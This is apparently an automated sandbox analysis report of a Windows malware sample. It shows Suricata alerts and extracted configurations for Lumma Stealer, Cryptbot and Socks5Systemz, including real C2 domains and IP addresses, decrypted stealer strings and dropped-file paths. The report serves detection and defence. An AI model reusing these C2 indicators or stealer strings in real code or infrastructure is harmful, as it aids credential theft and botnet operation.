Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T00:53:49.990822+0200	2056163	1	Domain Observed Used for C2 Detected	192.168.2.9	49725	188.114.96.3	443	TCP
2024-09-29T00:53:50.707875+0200	2056163	1	Domain Observed Used for C2 Detected	192.168.2.9	49726	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T00:53:22.228726+0200	2019714	2	Potentially Bad Traffic	192.168.2.9	49710	103.130.147.211	80	TCP
2024-09-29T00:53:27.435119+0200	2019714	2	Potentially Bad Traffic	192.168.2.9	49710	103.130.147.211	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T00:53:39.760918+0200	2054350	1	A Network Trojan was detected	192.168.2.9	49720	84.38.182.221	80	TCP
2024-09-29T00:53:46.245583+0200	2054350	1	A Network Trojan was detected	192.168.2.9	49724	84.38.182.221	80	TCP
2024-09-29T00:53:51.234927+0200	2054350	1	A Network Trojan was detected	192.168.2.9	49727	84.38.182.221	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T00:53:49.463861+0200	2056162	1	Domain Observed Used for C2 Detected	192.168.2.9	53223	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T00:54:30.282657+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49749	185.208.158.248	80	TCP
2024-09-29T00:54:33.789150+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49749	185.208.158.248	80	TCP
2024-09-29T00:54:34.620083+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49761	185.208.158.248	80	TCP
2024-09-29T00:54:35.431380+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49764	185.208.158.248	80	TCP
2024-09-29T00:54:36.255598+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49766	185.208.158.248	80	TCP
2024-09-29T00:54:37.079410+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49768	185.208.158.248	80	TCP
2024-09-29T00:54:37.912409+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49769	185.208.158.248	80	TCP
2024-09-29T00:54:38.747367+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49770	185.208.158.248	80	TCP
2024-09-29T00:54:39.102341+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49770	185.208.158.248	80	TCP
2024-09-29T00:54:39.922170+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49771	185.208.158.248	80	TCP
2024-09-29T00:54:40.783282+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49772	185.208.158.248	80	TCP
2024-09-29T00:54:41.675458+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49773	185.208.158.248	80	TCP
2024-09-29T00:54:42.495806+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49774	185.208.158.248	80	TCP
2024-09-29T00:54:43.349703+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49775	185.208.158.248	80	TCP
2024-09-29T00:54:44.193480+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49776	185.208.158.248	80	TCP
2024-09-29T00:54:45.007464+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49777	185.208.158.248	80	TCP
2024-09-29T00:54:45.832532+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49778	185.208.158.248	80	TCP
2024-09-29T00:54:46.770962+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49779	185.208.158.248	80	TCP
2024-09-29T00:54:47.649373+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49780	185.208.158.248	80	TCP
2024-09-29T00:54:48.459420+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49781	185.208.158.248	80	TCP
2024-09-29T00:54:49.363261+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49782	185.208.158.248	80	TCP
2024-09-29T00:54:50.177945+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49783	185.208.158.248	80	TCP
2024-09-29T00:54:50.989307+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49784	185.208.158.248	80	TCP
2024-09-29T00:54:51.833423+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49785	185.208.158.248	80	TCP
2024-09-29T00:54:52.649919+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49786	185.208.158.248	80	TCP
2024-09-29T00:54:53.501497+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49787	185.208.158.248	80	TCP
2024-09-29T00:54:53.850200+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49787	185.208.158.248	80	TCP
2024-09-29T00:54:54.687697+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49788	185.208.158.248	80	TCP
2024-09-29T00:54:55.036246+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49788	185.208.158.248	80	TCP
2024-09-29T00:54:55.860168+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49789	185.208.158.248	80	TCP
2024-09-29T00:54:56.211408+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49789	185.208.158.248	80	TCP
2024-09-29T00:54:57.054248+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49790	185.208.158.248	80	TCP
2024-09-29T00:54:57.875033+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49791	185.208.158.248	80	TCP
2024-09-29T00:54:58.233062+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49791	185.208.158.248	80	TCP
2024-09-29T00:54:58.581336+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49791	185.208.158.248	80	TCP
2024-09-29T00:54:59.464490+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49792	185.208.158.248	80	TCP
2024-09-29T00:55:00.282712+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49793	185.208.158.248	80	TCP
2024-09-29T00:55:01.121547+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49794	185.208.158.248	80	TCP
2024-09-29T00:55:02.026780+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49795	185.208.158.248	80	TCP
2024-09-29T00:55:02.859428+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49796	185.208.158.248	80	TCP
2024-09-29T00:55:03.215043+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49796	185.208.158.248	80	TCP
2024-09-29T00:55:03.569044+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49796	185.208.158.248	80	TCP
2024-09-29T00:55:04.392752+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49797	185.208.158.248	80	TCP
2024-09-29T00:55:04.744226+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49797	185.208.158.248	80	TCP
2024-09-29T00:55:05.565444+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49798	185.208.158.248	80	TCP
2024-09-29T00:55:06.385924+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49799	185.208.158.248	80	TCP
2024-09-29T00:55:07.228632+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49800	185.208.158.248	80	TCP
2024-09-29T00:55:08.034584+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49801	185.208.158.248	80	TCP
2024-09-29T00:55:08.850966+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49802	185.208.158.248	80	TCP
2024-09-29T00:55:10.419178+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49803	185.208.158.248	80	TCP
2024-09-29T00:55:10.849747+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49803	185.208.158.248	80	TCP
2024-09-29T00:55:11.660651+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49804	185.208.158.248	80	TCP
2024-09-29T00:55:12.502522+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49805	185.208.158.248	80	TCP
2024-09-29T00:55:13.369604+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49806	185.208.158.248	80	TCP
2024-09-29T00:55:15.023978+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49807	185.208.158.248	80	TCP
2024-09-29T00:55:15.877739+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49808	185.208.158.248	80	TCP
2024-09-29T00:55:16.730391+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49809	185.208.158.248	80	TCP
2024-09-29T00:55:17.550042+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49810	185.208.158.248	80	TCP
2024-09-29T00:55:18.396968+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49811	185.208.158.248	80	TCP
2024-09-29T00:55:19.365756+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49812	185.208.158.248	80	TCP
2024-09-29T00:55:20.199937+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49813	185.208.158.248	80	TCP
2024-09-29T00:55:20.556260+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49813	185.208.158.248	80	TCP
2024-09-29T00:55:21.382709+0200	2049467	1	A Network Trojan was detected	192.168.2.9	49814	185.208.158.248	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T00:53:22.389873+0200	2803270	2	Potentially Bad Traffic	192.168.2.9	49710	103.130.147.211	80	TCP
2024-09-29T00:53:22.395389+0200	2803270	2	Potentially Bad Traffic	192.168.2.9	49708	103.130.147.211	80	TCP
2024-09-29T00:53:22.414425+0200	2803270	2	Potentially Bad Traffic	192.168.2.9	49709	80.66.75.114	80	TCP
2024-09-29T00:53:22.562433+0200	2803270	2	Potentially Bad Traffic	192.168.2.9	49710	103.130.147.211	80	TCP
2024-09-29T00:53:22.905840+0200	2803270	2	Potentially Bad Traffic	192.168.2.9	49712	176.113.115.95	80	TCP
2024-09-29T00:53:23.055806+0200	2803270	2	Potentially Bad Traffic	192.168.2.9	49711	194.58.114.223	80	TCP
2024-09-29T00:53:23.070542+0200	2803270	2	Potentially Bad Traffic	192.168.2.9	49713	147.45.60.44	80	TCP
2024-09-29T00:53:27.435119+0200	2803270	2	Potentially Bad Traffic	192.168.2.9	49710	103.130.147.211	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 50.2.BitLockerToGo.exe.260000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["drawzhotdog.shop", "gutterydhowi.shop", "ghostreedmnu.shop", "reinforcenh.shop", "fragnantbui.shop", "stogeneratmns.shop", "vozmeatillu.shop", "offensivedzvju.shop"], "Build id": "9mkWlh--RaUFPPPp"}
Source: playglock32x64.exe.8056.13.memstrmin	Malware Configuration Extractor: Socks5Systemz {"C2 list": ["ejrsoyz.ua8a"]}
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe.7876.6.memstrmin	Malware Configuration Extractor: Cryptbot {"C2 list": ["01fivevh5pt.top", "analforeverlovyu.top", "fivevh5pt.top", "+fivevh5pt.top"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\soft[1]	ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\Channel2[1].exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\CheckTool[1].exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\1u2wN0W4Z43Z310SAYDV85NF4w4\Y-Cleaner.exe	ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe	ReversingLabs: Detection: 26%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 57%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\Edrax Smart Maker 9.28.47\Edrax Smart Maker 9.28.47.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000000A.00000002.1763568801.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String decryptor: reinforcenh.shop
Source: 0000000A.00000002.1763568801.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String decryptor: stogeneratmns.shop
Source: 0000000A.00000002.1763568801.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String decryptor: fragnantbui.shop
Source: 0000000A.00000002.1763568801.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String decryptor: drawzhotdog.shop
Source: 0000000A.00000002.1763568801.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String decryptor: vozmeatillu.shop
Source: 0000000A.00000002.1763568801.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String decryptor: offensivedzvju.shop
Source: 0000000A.00000002.1763568801.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String decryptor: ghostreedmnu.shop
Source: 0000000A.00000002.1763568801.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String decryptor: gutterydhowi.shop
Source: 0000000A.00000002.1763568801.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String decryptor: ghostreedmnu.shop
Source: 0000000A.00000002.1763568801.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000A.00000002.1763568801.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000000A.00000002.1763568801.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000000A.00000002.1763568801.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000000A.00000002.1763568801.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000000A.00000002.1763568801.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String decryptor: 9mkWlh--RaUFPPPp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0051CCF0 GetModuleHandleA,CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptAcquireContextA,SetLastError,	3_2_0051CCF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0051CF90 SetLastError,GetModuleHandleA,CryptGenRandom,	3_2_0051CF90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0051CEB0 CryptReleaseContext,	3_2_0051CEB0
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_004034B0 CryptAcquireContextW,CryptCreateHash,_mbstowcs,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,___std_exception_copy,	9_2_004034B0
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020C3717 CryptAcquireContextW,CryptCreateHash,_mbstowcs,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,___std_exception_copy,	9_2_020C3717
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_0045D4EC GetProcAddress,GetProcAddress,GetProcAddress,ISCryptGetVersion,	11_2_0045D4EC
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_0045D5A0 ArcFourCrypt,	11_2_0045D5A0
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_0045D5B8 ArcFourCrypt,	11_2_0045D5B8
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_10001000 ISCryptGetVersion,	11_2_10001000
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_10001130 ArcFourCrypt,	11_2_10001130

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Unpacked PE file: 9.2.tyq3dazbB0crObgKIDGLxiAO.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Unpacked PE file: 13.2.playglock32x64.exe.400000.0.unpack

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Play Glock_is1

Jump to behavior

Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 173.231.16.77:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.9:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.9:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.9:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.9:49726 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: msvcp71.pdbx# source: is-IKU3H.tmp.11.dr
Source:	Binary string: c:\rje\tg\e\obj\Release\ojc.pdb source: file.exe
Source:	Binary string: BitLockerToGo.pdb source: Ifh3vuF2SF2LvHombSP7ZGRi.exe, 0000000A.00000002.1763568801.0000000001908000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msvcp71.pdb source: is-IKU3H.tmp.11.dr
Source:	Binary string: c:\rje\tg\e\obj\Release\ojc.pdb4 source: file.exe
Source:	Binary string: BitLockerToGo.pdbGCTL source: Ifh3vuF2SF2LvHombSP7ZGRi.exe, 0000000A.00000002.1763568801.0000000001908000.00000004.00001000.00020000.00000000.sdmp

Spreading

Yara detected Neoreklami

Source: Yara match

File source: Process Memory Space: Install.exe PID: 8132, type: MEMORYSTR

Yara detected PrivateLoader

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 7600, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00540A25 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	3_2_00540A25
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Code function: 8_2_0040553A FindFirstFileA,	8_2_0040553A
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Code function: 8_2_004055DE __EH_prolog,FindFirstFileW,AreFileApisANSI,FindFirstFileA,	8_2_004055DE
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_0041E01D FindFirstFileExW,	9_2_0041E01D
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_10007EA9 FindFirstFileExW,	9_2_10007EA9
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020DE284 FindFirstFileExW,	9_2_020DE284
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00452A4C FindFirstFileA,GetLastError,	11_2_00452A4C
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_004751F8 FindFirstFileA,FindNextFileA,FindClose,	11_2_004751F8
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00464048 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	11_2_00464048
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_004644C4 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	11_2_004644C4
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00462ABC FindFirstFileA,FindNextFileA,FindClose,	11_2_00462ABC
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00497A74 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,	11_2_00497A74

Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	File opened: C:\Users\user	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.9:49720 -> 84.38.182.221:80
Source: Network traffic	Suricata IDS: 2056162 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop) : 192.168.2.9:53223 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056163 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI) : 192.168.2.9:49725 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.9:49724 -> 84.38.182.221:80
Source: Network traffic	Suricata IDS: 2056163 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI) : 192.168.2.9:49726 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.9:49727 -> 84.38.182.221:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49749 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49761 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49766 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49768 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49776 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49781 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49778 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49780 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49771 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49783 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49786 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49785 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49784 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49787 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49769 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49790 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49788 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49789 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49777 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49791 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49798 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49796 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49764 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49774 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49800 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49805 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49804 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49799 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49808 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49809 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49812 -> 185.208.158.248:80
